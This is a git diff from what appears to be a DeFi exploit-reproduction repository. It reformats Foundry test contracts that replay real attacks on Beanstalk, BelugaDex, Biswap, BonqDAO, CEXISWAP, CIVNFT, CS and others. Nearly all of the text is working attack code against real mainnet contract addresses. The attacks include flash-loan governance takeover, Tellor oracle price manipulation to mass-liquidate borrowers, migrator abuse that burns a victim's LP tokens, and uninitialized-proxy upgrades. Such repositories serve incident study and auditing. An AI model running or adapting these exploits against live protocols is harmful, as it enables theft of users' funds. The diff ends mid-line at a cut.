type(uint256).max); + usdc.approve(address(threeCrvPool), type(uint256).max); + TransferHelper.safeApprove(address(usdt), address(threeCrvPool), type(uint256).max); + bean.approve(address(siloV2Facet), type(uint256).max); + threeCrv.approve(address(bean3Crv_f), type(uint256).max); + IERC20(address(bean3Crv_f)).approve(address(siloV2Facet), type(uint256).max); + + address[] memory assets = new address[](3); + assets[0] = address(dai); + assets[1] = address(usdc); + assets[2] = address(usdt); + + uint256[] memory amounts = new uint256[](3); + amounts[0] = 350_000_000 * 10 ** dai.decimals(); + amounts[1] = 500_000_000 * 10 ** usdc.decimals(); + amounts[2] = 150_000_000 * 10 ** usdt.decimals(); + + uint256[] memory modes = new uint256[](3); + aavelendingPool.flashLoan(address(this), assets, amounts, modes, address(this), new bytes(0), 0); + emit log_named_uint("After Flashloan repay, usdc balance of attacker:", usdc.balanceOf(address(this))); + usdc.transfer(msg.sender, usdc.balanceOf(address(this))); + } + + function executeOperation( + address[] calldata assets, + uint256[] calldata amounts, + uint256[] calldata premiums, + address initiator, + bytes calldata params + ) external returns (bool) { + emit log_named_uint("After deposit, Bean balance of attacker:", bean.balanceOf(address(this)) / 1e6); // @note redundant log + uint256[3] memory tempAmounts; + tempAmounts[0] = amounts[0]; + tempAmounts[1] = amounts[1]; + tempAmounts[2] = amounts[2]; + threeCrvPool.add_liquidity(tempAmounts, 0); + uint256[2] memory tempAmounts2; + tempAmounts2[0] = 0; + tempAmounts2[1] = threeCrv.balanceOf(address(this)); + bean3Crv_f.add_liquidity(tempAmounts2, 0); + emit log_named_uint( + "After adding 3crv liquidity , bean3Crv_f balance of attacker:", crvbean.balanceOf(address(this)) + ); + emit log_named_uint( + "After Curvebean3Crv_f balance of attacker:", IERC20(address(bean3Crv_f)).balanceOf(address(this)) + ); //@note logging balance for same token ? + siloV2Facet.deposit(address(bean3Crv_f), IERC20(address(bean3Crv_f)).balanceOf(address(this))); + //beanstalkgov.vote(bip); --> this line not needed, as beanstalkgov.propose() already votes for our bip + beanstalkgov.emergencyCommit(bip); + emit log_named_uint( + "After calling beanstalkgov.emergencyCommit() , bean3Crv_f balance of attacker:", + crvbean.balanceOf(address(this)) + ); + bean3Crv_f.remove_liquidity_one_coin(IERC20(address(bean3Crv_f)).balanceOf(address(this)), 1, 0); + emit log_named_uint( + "After removing liquidity from crvbean pool , bean3Crv_f balance of attacker:", + crvbean.balanceOf(address(this)) + ); + tempAmounts[0] = amounts[0] + premiums[0]; + tempAmounts[1] = amounts[1] + premiums[1]; + tempAmounts[2] = amounts[2] + premiums[2]; + emit log_named_uint("premiums[0]:", premiums[0]); + emit log_named_uint("premiums[1]:", premiums[1]); + emit log_named_uint("premiums[2]:", premiums[2]); + emit log_named_uint("tempAmounts[0]:", tempAmounts[0]); + emit log_named_uint("tempAmounts[1]:", tempAmounts[1]); + emit log_named_uint("tempAmounts[2]:", tempAmounts[2]); + + threeCrvPool.remove_liquidity_imbalance(tempAmounts, type(uint256).max); + threeCrvPool.remove_liquidity_one_coin(threeCrv.balanceOf(address(this)), 1, 0); + + emit log_named_uint( + "After removing 3crv liquidity from 3crv pool, usdc balance of attacker:", usdc.balanceOf(address(this)) + ); + + return true; + } + + function sweep() external { + IERC20 erc20bean3Crv_f = IERC20(0x3a70DfA7d2262988064A2D051dd47521E43c9BdD); + erc20bean3Crv_f.transfer(msg.sender, erc20bean3Crv_f.balanceOf(address(this))); //Just for verification, so keep other tokens + } } diff --git a/src/test/BelugaDex_exp.sol b/src/test/BelugaDex_exp.sol index 630a9288..4d257cbc 100644 --- a/src/test/BelugaDex_exp.sol +++ b/src/test/BelugaDex_exp.sol @@ -46,25 +46,17 @@ interface IPool { } contract ContractTest is Test { - IERC20 private constant USDT = - IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9); - IERC20 private constant USDCe = - IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8); - IERC20 private constant WETH = - IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1); - IERC20 private constant USDT_LP = - IERC20(0xCFf307451E52B7385A7538f4cF4A861C7a60192B); - IERC20 private constant USDC_LP = - IERC20(0x7CC32EE9567b48182E5424a2A782b2aa6cD0B37b); - IBalancerVault private constant Vault = - IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8); - IPool private constant Pool = - IPool(0x15A024061c151045ba483e9243291Dee6Ee5fD8A); - IPancakeRouter private constant SushiRouter = - IPancakeRouter(payable(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506)); + IERC20 private constant USDT = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9); + IERC20 private constant USDCe = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8); + IERC20 private constant WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1); + IERC20 private constant USDT_LP = IERC20(0xCFf307451E52B7385A7538f4cF4A861C7a60192B); + IERC20 private constant USDC_LP = IERC20(0x7CC32EE9567b48182E5424a2A782b2aa6cD0B37b); + IBalancerVault private constant Vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8); + IPool private constant Pool = IPool(0x15A024061c151045ba483e9243291Dee6Ee5fD8A); + IPancakeRouter private constant SushiRouter = IPancakeRouter(payable(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506)); function setUp() public { - vm.createSelectFork("arbitrum", 140129166); + vm.createSelectFork("arbitrum", 140_129_166); vm.label(address(USDT), "USDT"); vm.label(address(USDCe), "USDCe"); vm.label(address(WETH), "WETH"); @@ -91,11 +83,7 @@ contract ContractTest is Test { swapTokensSushi(USDT, USDT.balanceOf(address(this))); swapTokensSushi(USDCe, USDCe.balanceOf(address(this))); - emit log_named_decimal_uint( - "Attacker ETH balance after exploit", - address(this).balance, - 18 - ); + emit log_named_decimal_uint("Attacker ETH balance after exploit", address(this).balance, 18); } function receiveFlashLoan( @@ -131,14 +119,7 @@ contract ContractTest is Test { deposit(address(USDT), amountDeposit1); deposit(address(USDCe), amountDeposit2 / 3); - Pool.swap( - address(USDCe), - address(USDT), - amountSwap1, - 0, - address(this), - block.timestamp + 1000 - ); + Pool.swap(address(USDCe), address(USDT), amountSwap1, 0, address(this), block.timestamp + 1000); // Not working logic. I leave this for the future update // uint256 liquidity = USDT_LP.balanceOf(address(this)); @@ -152,29 +133,13 @@ contract ContractTest is Test { withdraw(address(USDT), potentialWithdraws[i]); - uint256 fromAmountUSDT = (USDT.balanceOf(address(this)) - - diffUSDT) * 3; - Pool.swap( - address(USDT), - address(USDCe), - fromAmountUSDT >> 2, - 0, - address(this), - block.timestamp + 1000 - ); + uint256 fromAmountUSDT = (USDT.balanceOf(address(this)) - diffUSDT) * 3; + Pool.swap(address(USDT), address(USDCe), fromAmountUSDT >> 2, 0, address(this), block.timestamp + 1000); withdraw(address(USDT), USDT_LP.balanceOf(address(this))); - uint256 fromAmountUSDCe = (USDCe.balanceOf(address(this)) - - diffUSDCe); - Pool.swap( - address(USDCe), - address(USDT), - fromAmountUSDCe >> 1, - 0, - address(this), - block.timestamp - ); + uint256 fromAmountUSDCe = (USDCe.balanceOf(address(this)) - diffUSDCe); + Pool.swap(address(USDCe), address(USDT), fromAmountUSDCe >> 1, 0, address(this), block.timestamp); withdraw(address(USDCe), USDC_LP.balanceOf(address(this))); ++i; @@ -188,13 +153,7 @@ contract ContractTest is Test { } function withdraw(address token, uint256 amount) internal { - Pool.withdraw( - address(token), - amount, - 0, - address(this), - block.timestamp + 1000 - ); + Pool.withdraw(address(token), amount, 0, address(this), block.timestamp + 1000); } function swapTokensSushi(IERC20 token, uint256 amount) internal { @@ -203,11 +162,7 @@ contract ContractTest is Test { path[1] = address(WETH); SushiRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( - amount, - 0, - path, - address(this), - block.timestamp + 1000 + amount, 0, path, address(this), block.timestamp + 1000 ); } diff --git a/src/test/Biswap_exp.sol b/src/test/Biswap_exp.sol index 9372c031..b3a4b175 100644 --- a/src/test/Biswap_exp.sol +++ b/src/test/Biswap_exp.sol @@ -27,7 +27,7 @@ interface V3Migrator { bool refundAsETH; } - function migrate(MigrateParams calldata params) external returns (uint refund0, uint refund1); + function migrate(MigrateParams calldata params) external returns (uint256 refund0, uint256 refund1); } interface IBiswapFactoryV3 { @@ -48,7 +48,7 @@ contract SimpleERC20 { _name = name_; _symbol = symbol_; } - + function balanceOf(address account) public view virtual returns (uint256) { return _balances[account]; } @@ -123,7 +123,6 @@ contract SimpleERC20 { _allowances[owner][spender] = amount; } - function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { @@ -135,27 +134,24 @@ contract SimpleERC20 { } } - contract FakeToken is SimpleERC20 { - - uint token0Amount; - uint token1Amount; + uint256 token0Amount; + uint256 token1Amount; constructor() SimpleERC20("fake", "fake") { - _mint(msg.sender, 10000e18 * 1e18); + _mint(msg.sender, 10_000e18 * 1e18); } } contract FakePair is SimpleERC20 { - - uint token0Amount; - uint token1Amount; + uint256 token0Amount; + uint256 token1Amount; constructor() SimpleERC20("fakePair", "fakePair") { - _mint(msg.sender, 10000e18 * 1e18); + _mint(msg.sender, 10_000e18 * 1e18); } - function update(uint t0, uint t1) external { + function update(uint256 t0, uint256 t1) external { token0Amount = t0; token1Amount = t1; } @@ -166,10 +162,9 @@ contract FakePair is SimpleERC20 { } contract ContractTest is Test { - function setUp() public { // fork bsc - uint256 forkId = vm.createFork("bsc", 29554461); + uint256 forkId = vm.createFork("bsc", 29_554_461); vm.selectFork(forkId); } @@ -182,24 +177,36 @@ contract ContractTest is Test { //0. Preparations: create pool for fake tokens and transfer fake tokens to the migrator FakeToken fakeToken0 = new FakeToken(); FakeToken fakeToken1 = new FakeToken(); - FakePair fakePair = new FakePair(); + FakePair fakePair = new FakePair(); biswapV3.newPool(address(fakeToken1), address(fakeToken0), 150, 1); fakeToken0.transfer(address(migrator), 1e9 * 1e18); fakeToken1.transfer(address(migrator), 1e9 * 1e18); - - uint liquidityValue = pairToMigrate.balanceOf(victimAddress); + uint256 liquidityValue = pairToMigrate.balanceOf(victimAddress); emit log_named_uint("liquidity to migrate", liquidityValue); IERC20 token0 = IERC20(pairToMigrate.token0()); IERC20 token1 = IERC20(pairToMigrate.token1()); assert(token0.balanceOf(address(this)) == 0); - + //1. Burn victim's LP token and add liquidity with fake tokens - V3Migrator.MigrateParams memory params = V3Migrator.MigrateParams(address(pairToMigrate), liquidityValue, address(fakeToken1), address(fakeToken0), 150, 10000, 20000, 0, 0, victimAddress, block.timestamp + 1 minutes, false); + V3Migrator.MigrateParams memory params = V3Migrator.MigrateParams( + address(pairToMigrate), + liquidityValue, + address(fakeToken1), + address(fakeToken0), + 150, + 10_000, + 20_000, + 0, + 0, + victimAddress, + block.timestamp + 1 minutes, + false + ); migrator.migrate(params); - uint token0Balance = token0.balanceOf(address(migrator)); - uint token1Balance = token1.balanceOf(address(migrator)); + uint256 token0Balance = token0.balanceOf(address(migrator)); + uint256 token1Balance = token1.balanceOf(address(migrator)); fakePair.update(token0Balance, token1Balance); emit log_named_decimal_uint("this token0 before", token0.balanceOf(address(this)), 18); emit log_named_decimal_uint("this token1 before", token1.balanceOf(address(this)), 18); @@ -207,7 +214,20 @@ contract ContractTest is Test { //2. Steal tokens fakePair.transfer(address(this), 1e9 * 1e18); fakePair.approve(address(migrator), 1e9 * 1e18); - V3Migrator.MigrateParams memory params2 = V3Migrator.MigrateParams(address(fakePair), liquidityValue, address(token0), address(token1), 800, 10000, 20000, 0, 0, address(this), block.timestamp + 1 minutes, false); + V3Migrator.MigrateParams memory params2 = V3Migrator.MigrateParams( + address(fakePair), + liquidityValue, + address(token0), + address(token1), + 800, + 10_000, + 20_000, + 0, + 0, + address(this), + block.timestamp + 1 minutes, + false + ); migrator.migrate(params2); assert(token0.balanceOf(address(this)) > 1e18); diff --git a/src/test/BonqDAO_exp.sol b/src/test/BonqDAO_exp.sol index cc31a215..4ebb33fe 100644 --- a/src/test/BonqDAO_exp.sol +++ b/src/test/BonqDAO_exp.sol @@ -48,12 +48,12 @@ contract Attacker is Test { IERC20 constant TRB = IERC20(0xE3322702BEdaaEd36CdDAb233360B939775ae5f1); IERC20 constant WALBT = IERC20(0x35b2ECE5B1eD6a7a99b83508F8ceEAB8661E0632); IERC20 constant BEUR = IERC20(0x338Eb4d394a4327E5dB80d08628fa56EA2FD4B81); - + Exploit exploit; function testExploit() public { // Full simulation, run Tx1 and Tx2 - vm.createSelectFork("polygon", 38792977); + vm.createSelectFork("polygon", 38_792_977); exploit = new Exploit(); // Pre-works, check out: https://polygonscan.com/address/0xed596991ac5f1aa1858da66c67f7cfa76e54b5f1#tokentxns @@ -62,8 +62,8 @@ contract Attacker is Test { exploit.tx1_mintMassiveAmountOfBEUR(); - vm.roll(38793028); - vm.warp(1675276266); + vm.roll(38_793_028); + vm.warp(1_675_276_266); exploit.tx2_liquidateMassiveAmountOfALBT(); @@ -74,7 +74,7 @@ contract Attacker is Test { function testAttackTx1() public { // Only run attack Tx1 - vm.createSelectFork("polygon", 38792977); + vm.createSelectFork("polygon", 38_792_977); exploit = new Exploit(); deal(address(TRB), address(exploit), 10e18); @@ -88,7 +88,7 @@ contract Attacker is Test { function testAttackTx2() public { // Only run attack Tx2 - vm.createSelectFork("polygon", 38793028); + vm.createSelectFork("polygon", 38_793_028); exploit = new Exploit(); deal(address(TRB), address(exploit), 20e18); @@ -108,11 +108,12 @@ contract Exploit is Test { IERC20 constant TRB = IERC20(0xE3322702BEdaaEd36CdDAb233360B939775ae5f1); IERC20 constant WALBT = IERC20(0x35b2ECE5B1eD6a7a99b83508F8ceEAB8661E0632); IERC20 constant BEUR = IERC20(0x338Eb4d394a4327E5dB80d08628fa56EA2FD4B81); - + address maliciousTrove; address maliciousTrove2; - function tx1_mintMassiveAmountOfBEUR() public { // func_0xa11ce20c + function tx1_mintMassiveAmountOfBEUR() public { + // func_0xa11ce20c console.log("Update wALBT price to extremely high"); PriceReporter Reporter = new PriceReporter(); TRB.transfer(address(Reporter), TellorFlex.getStakeAmount()); // transfer 10 TRB to price reporter @@ -130,24 +131,26 @@ contract Exploit is Test { ITrove(maliciousTrove2).increaseCollateral(0, address(0)); } - function tx2_liquidateMassiveAmountOfALBT() public { // func_0x770344d9 + function tx2_liquidateMassiveAmountOfALBT() public { + // func_0x770344d9 console.log("Update wALBT price to extremely low"); PriceReporter Reporter = new PriceReporter(); TRB.transfer(address(Reporter), TellorFlex.getStakeAmount()); // transfer 10 TRB to price reporter Reporter.updatePrice(10e18, 0.0000001 * 1e18); - + console.log("Get all trove addresses"); address[] memory troves = new address[](45); troves[0] = BonqProxy.firstTrove(address(WALBT)); troves[44] = BonqProxy.lastTrove(address(WALBT)); require(troves[44] == 0x5343c5d0af82b89DF164A9e829A7102c4edB5402, "Last trove creator is not attacker"); // note: assert troves[44] is maliciousTrove2 - for(uint i=1; i < troves.length; ++i){ // troves[1] ~ troves[44] - troves[i] = BonqProxy.nextTrove(address(WALBT), troves[i-1]); + for (uint256 i = 1; i < troves.length; ++i) { + // troves[1] ~ troves[44] + troves[i] = BonqProxy.nextTrove(address(WALBT), troves[i - 1]); } console.log("Liqudate all borrowers"); - for(uint i=1; i < troves.length - 1; ++i){ + for (uint256 i = 1; i < troves.length - 1; ++i) { address target = troves[i]; require(BonqProxy.containsTrove(address(WALBT), target)); // check target exists before exploit uint256 debt = ITrove(target).debt(); @@ -162,7 +165,7 @@ contract Exploit is Test { ITrove(troves[44]).repay(type(uint256).max, address(0)); uint256 walbt_in_attacker_trove = WALBT.balanceOf(troves[44]); emit log_named_decimal_uint("[debug] WALBT balance in attacker's trove", walbt_in_attacker_trove, 18); - + console.log("Withdraw wALBT to Exploit contract"); address maliciousTrove2_owner = ITrove(troves[44]).getRoleMember(keccak256("OWNER_ROLE"), 0); vm.prank(maliciousTrove2_owner); @@ -170,24 +173,23 @@ contract Exploit is Test { } function updatePrice(uint256 _tokenId, uint256 _price) public { - bytes memory queryData = hex"00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000953706f745072696365000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000004616c62740000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000037573640000000000000000000000000000000000000000000000000000000000"; // not sure what this means + bytes memory queryData = + hex"00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000953706f745072696365000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000004616c62740000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000037573640000000000000000000000000000000000000000000000000000000000"; // not sure what this means bytes32 queryId = keccak256(queryData); - bytes memory price = abi.encodePacked(_price); + bytes memory price = abi.encodePacked(_price); TRB.approve(address(TellorFlex), type(uint256).max); TellorFlex.depositStake(_tokenId); TellorFlex.submitValue(queryId, price, 0, queryData); } - } contract PriceReporter is Test { function updatePrice(uint256 _tokenId, uint256 _price) public { - (bool suc, ) = msg.sender.delegatecall(abi.encodeWithSignature("updatePrice(uint256,uint256)", _tokenId, _price)); + (bool suc,) = msg.sender.delegatecall(abi.encodeWithSignature("updatePrice(uint256,uint256)", _tokenId, _price)); require(suc, "Update price failed"); } } - /*---------- Interface ----------*/ interface ITellorFlex { event NewReport( @@ -210,15 +212,15 @@ interface ITellorFlex { function depositStake(uint256 _amount) external; function getBlockNumberByTimestamp(bytes32 _queryId, uint256 _timestamp) external view returns (uint256); function getCurrentValue(bytes32 _queryId) external view returns (bytes memory _value); - function getDataBefore(bytes32 _queryId, uint256 _timestamp) - external - view - returns (bool _ifRetrieve, bytes memory _value, uint256 _timestampRetrieved); + function getDataBefore( + bytes32 _queryId, + uint256 _timestamp + ) external view returns (bool _ifRetrieve, bytes memory _value, uint256 _timestampRetrieved); function getGovernanceAddress() external view returns (address); - function getIndexForDataBefore(bytes32 _queryId, uint256 _timestamp) - external - view - returns (bool _found, uint256 _index); + function getIndexForDataBefore( + bytes32 _queryId, + uint256 _timestamp + ) external view returns (bool _found, uint256 _index); function getNewValueCountbyQueryId(bytes32 _queryId) external view returns (uint256); function getPendingRewardByStaker(address _stakerAddress) external returns (uint256 _pendingReward); function getRealStakingRewardsBalance() external view returns (uint256); @@ -227,10 +229,10 @@ interface ITellorFlex { function getReporterLastTimestamp(address _reporter) external view returns (uint256); function getReportingLock() external view returns (uint256); function getReportsSubmittedByAddress(address _reporter) external view returns (uint256); - function getReportsSubmittedByAddressAndQueryId(address _reporter, bytes32 _queryId) - external - view - returns (uint256); + function getReportsSubmittedByAddressAndQueryId( + address _reporter, + bytes32 _queryId + ) external view returns (uint256); function getStakeAmount() external view returns (uint256); function getStakerInfo(address _stakerAddress) external @@ -332,11 +334,19 @@ interface IOriginalTroveFactory { uint256 _borrowAmount, address _nextTrove ) external; - function emitLiquidationEvent(address _token, address _trove, address stabilityPoolLiquidation, uint256 collateral) - external; + function emitLiquidationEvent( + address _token, + address _trove, + address stabilityPoolLiquidation, + uint256 collateral + ) external; function emitTroveCollateralUpdate(address _token, uint256 _newAmount, uint256 _newCollateralization) external; - function emitTroveDebtUpdate(address _token, uint256 _newAmount, uint256 _newCollateralization, uint256 _feePaid) - external; + function emitTroveDebtUpdate( + address _token, + uint256 _newAmount, + uint256 _newCollateralization, + uint256 _feePaid + ) external; function feeRecipient() external view returns (address); function firstTrove(address _token) external view returns (address); function getBorrowingFee(uint256 _amount) external view returns (uint256); @@ -434,9 +444,10 @@ interface ITrove { function netDebt() external view returns (uint256); function owner() external view returns (address); function recordedCollateral() external view returns (uint256); - function redeem(address _recipient, address _newNextTrove) - external - returns (uint256 _stableAmount, uint256 _collateralRecieved); + function redeem( + address _recipient, + address _newNextTrove + ) external returns (uint256 _stableAmount, uint256 _collateralRecieved); function removeOwner(address _ownerToRemove) external; function renounceOwnership() external; function renounceRole(bytes32 role, address account) external; @@ -450,4 +461,3 @@ interface ITrove { function unclaimedArbitrageReward() external view returns (uint256); function unclaimedCollateralRewardAndDebt() external view returns (uint256, uint256); } - diff --git a/src/test/CEXISWAP_exp.sol b/src/test/CEXISWAP_exp.sol index 236e5591..915b10e6 100644 --- a/src/test/CEXISWAP_exp.sol +++ b/src/test/CEXISWAP_exp.sol @@ -23,21 +23,16 @@ interface ICEXISWAP { address _strategy ) external; - function upgradeToAndCall( - address newImplementation, - bytes memory data - ) external payable; + function upgradeToAndCall(address newImplementation, bytes memory data) external payable; } contract CexiTest is Test { - ICEXISWAP private constant CEXISWAP = - ICEXISWAP(0xB8a5890D53dF78dEE6182A6C0968696e827E3305); - IUSDT private constant USDT = - IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7); + ICEXISWAP private constant CEXISWAP = ICEXISWAP(0xB8a5890D53dF78dEE6182A6C0968696e827E3305); + IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7); Exploiter private exploiter; function setUp() public { - vm.createSelectFork("mainnet", 18182605); + vm.createSelectFork("mainnet", 18_182_605); vm.label(address(CEXISWAP), "CEXISWAP"); vm.label(address(USDT), "USDT"); } @@ -45,21 +40,14 @@ contract CexiTest is Test { function testExploit() public { exploiter = new Exploiter(); exploiter.exploit(); - emit log_named_decimal_uint( - "Attacker USDT balance after exploit", - USDT.balanceOf(address(this)), - 6 - ); + emit log_named_decimal_uint("Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 6); } } contract Exploiter { - ICEXISWAP private constant CEXISWAP = - ICEXISWAP(0xB8a5890D53dF78dEE6182A6C0968696e827E3305); - IUSDT private constant USDT = - IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7); - bytes32 private constant IMPLEMENTATION_SLOT = - 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; + ICEXISWAP private constant CEXISWAP = ICEXISWAP(0xB8a5890D53dF78dEE6182A6C0968696e827E3305); + IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7); + bytes32 private constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; address private immutable owner; constructor() { @@ -67,18 +55,8 @@ contract Exploiter { } function exploit() external { - CEXISWAP.initialize( - "HAX", - "HAX", - address(this), - address(this), - address(this), - address(this) - ); - CEXISWAP.upgradeToAndCall( - address(this), - abi.encodePacked(this.exploit2.selector) - ); + CEXISWAP.initialize("HAX", "HAX", address(this), address(this), address(this), address(this)); + CEXISWAP.upgradeToAndCall(address(this), abi.encodePacked(this.exploit2.selector)); } // function 0x1de24bbf diff --git a/src/test/CFC_exp.sol b/src/test/CFC_exp.sol index db45c3bb..dfb878b7 100644 --- a/src/test/CFC_exp.sol +++ b/src/test/CFC_exp.sol @@ -42,13 +42,13 @@ contract CFCTest is Test { deal(address(BEP20USDT), address(this), 0); emit log_named_decimal_uint( "Attacker BEP20USDT balance before attack", BEP20USDT.balanceOf(address(this)), BEP20USDT.decimals() - ); + ); takeFlashloan(DPPOracle1); emit log_named_decimal_uint( "Attacker BEP20USDT balance after attack", BEP20USDT.balanceOf(address(this)), BEP20USDT.decimals() - ); + ); } function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external { diff --git a/src/test/CIVNFT_exp.sol b/src/test/CIVNFT_exp.sol index 85d24b11..9845cd3c 100644 --- a/src/test/CIVNFT_exp.sol +++ b/src/test/CIVNFT_exp.sol @@ -35,19 +35,16 @@ contract CIVNFTTest is Test { // whether the pool is locked bool unlocked; } - IERC20 private constant CIV = - IERC20(0x37fE0f067FA808fFBDd12891C0858532CFE7361d); - IERC20 private constant WETH = - IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); - address private constant CIVNFT = - 0xF169BD68ED72B2fdC3C9234833197171AA000580; - address private constant victim = - 0x512e9701D314b365921BcB3b8265658A152C9fFD; + + IERC20 private constant CIV = IERC20(0x37fE0f067FA808fFBDd12891C0858532CFE7361d); + IERC20 private constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); + address private constant CIVNFT = 0xF169BD68ED72B2fdC3C9234833197171AA000580; + address private constant victim = 0x512e9701D314b365921BcB3b8265658A152C9fFD; CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { - cheats.createSelectFork("mainnet", 17649875); + cheats.createSelectFork("mainnet", 17_649_875); cheats.label(address(CIV), "CIV"); cheats.label(address(WETH), "WETH"); cheats.label(CIVNFT, "CIVNFT"); @@ -55,18 +52,10 @@ contract CIVNFTTest is Test { } function testExploit() public { - emit log_named_decimal_uint( - "Attacker CIV balance before exploit", - CIV.balanceOf(address(this)), - CIV.decimals() - ); + emit log_named_decimal_uint("Attacker CIV balance before exploit", CIV.balanceOf(address(this)), CIV.decimals()); // Calling vulnerable function in CIVNFT contract call0x7ca06d68(); - emit log_named_decimal_uint( - "Attacker CIV balance after exploit", - CIV.balanceOf(address(this)), - CIV.decimals() - ); + emit log_named_decimal_uint("Attacker CIV balance after exploit", CIV.balanceOf(address(this)), CIV.decimals()); } function token0() external view returns (address) { @@ -82,16 +71,15 @@ contract CIVNFTTest is Test { } function slot0() external pure returns (Slot0 memory) { - return - Slot0({ - sqrtPriceX96: 590_212_530_842_204_246_875_907_781, - tick: -97_380, - observationIndex: 0, - observationCardinality: 1, - observationCardinalityNext: 1, - feeProtocol: 0, - unlocked: true - }); + return Slot0({ + sqrtPriceX96: 590_212_530_842_204_246_875_907_781, + tick: -97_380, + observationIndex: 0, + observationCardinality: 1, + observationCardinalityNext: 1, + feeProtocol: 0, + unlocked: true + }); } function mint( @@ -105,7 +93,7 @@ contract CIVNFTTest is Test { } function call0x7ca06d68() internal { - (bool success, ) = CIVNFT.call( + (bool success,) = CIVNFT.call( abi.encodeWithSelector( bytes4(0x7ca06d68), // vulnerable function selector address(this), // fake uniswap pool @@ -121,14 +109,7 @@ contract CIVNFTTest is Test { function callUniswapV3MintCallback() internal { bytes memory data = abi.encode(victim, victim); - (bool success, ) = CIVNFT.call( - abi.encodeWithSelector( - bytes4(0xd3487997), - CIV.balanceOf(victim), - 0, - data - ) - ); + (bool success,) = CIVNFT.call(abi.encodeWithSelector(bytes4(0xd3487997), CIV.balanceOf(victim), 0, data)); require(success, "Call to Uniswap callback failed"); } } diff --git a/src/test/CS_exp.sol b/src/test/CS_exp.sol index 80f62843..77c17a59 100644 --- a/src/test/CS_exp.sol +++ b/src/test/CS_exp.sol @@ -12,9 +12,6 @@ import "./interface.sol"; // @Summary // Outdated global variable `sellAmount` for calculating `burnAmount` - - - contract CSExp is Test, IPancakeCallee { IPancakePair pair = IPancakePair(0x7EFaEf62fDdCCa950418312c6C91Aef321375A00); IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E)); @@ -23,53 +20,35 @@ contract CSExp is Test, IPancakeCallee { IERC20 CS = IERC20(0x8BC6Ce23E5e2c4f0A96429E3C9d482d74171215e); function setUp() public { - cheats.createSelectFork("bsc", 28466976); - + cheats.createSelectFork("bsc", 28_466_976); } function testExp() external { emit log_named_decimal_uint("[Start] Attacker BUSD Balance", BUSD.balanceOf(address(this)), 18); - pair.swap( - 80_000_000 ether, - 0, - address(this), - bytes("123") - ); + pair.swap(80_000_000 ether, 0, address(this), bytes("123")); emit log_named_decimal_uint("[End] Attacker BUSD Balance", BUSD.balanceOf(address(this)), 18); } - function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) external{ + function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external { require(msg.sender == address(pair)); BUSD.approve(address(router), BUSD.balanceOf(address(this))); address[] memory path = new address[](2); path[0] = address(BUSD); path[1] = address(CS); - for (uint i = 0; i < 99; ++i) { + for (uint256 i = 0; i < 99; ++i) { router.swapTokensForExactTokens( - 5000 ether, - BUSD.balanceOf(address(this)), - path, - address(this), - block.timestamp + 1000 + 5000 ether, BUSD.balanceOf(address(this)), path, address(this), block.timestamp + 1000 ); } router.swapExactTokensForTokensSupportingFeeOnTransferTokens( - BUSD.balanceOf(address(this)), - 1, - path, - 0x382e9652AC6854B56FD41DaBcFd7A9E633f1Edd5, - block.timestamp + 1000 + BUSD.balanceOf(address(this)), 1, path, 0x382e9652AC6854B56FD41DaBcFd7A9E633f1Edd5, block.timestamp + 1000 ); CS.approve(address(router), CS.balanceOf(address(this))); path[0] = address(CS); path[1] = address(BUSD); while (CS.balanceOf(address(this)) >= 3000 ether) { router.swapExactTokensForTokensSupportingFeeOnTransferTokens( - 3000 ether, - 1, - path, - address(this), - block.timestamp + 1000 + 3000 ether, 1, path, address(this), block.timestamp + 1000 ); CS.transfer(address(this), 2); } @@ -77,7 +56,4 @@ contract CSExp is Test, IPancakeCallee { } receive() external payable {} - } - - diff --git a/src/test/Carson_exp.sol b/src/test/Carson_exp.sol index 67864f1a..c006fae8 100644 --- a/src/test/Carson_exp.sol +++ b/src/test/Carson_exp.sol @@ -43,13 +43,13 @@ contract CarsonTest is Test { deal(address(BUSDT), address(this), 0); emit log_named_decimal_uint( "Attacker balance of BUSDT before exploit", BUSDT.balanceOf(address(this)), BUSDT.decimals() - ); + ); DPPOracle1.flashLoan(0, 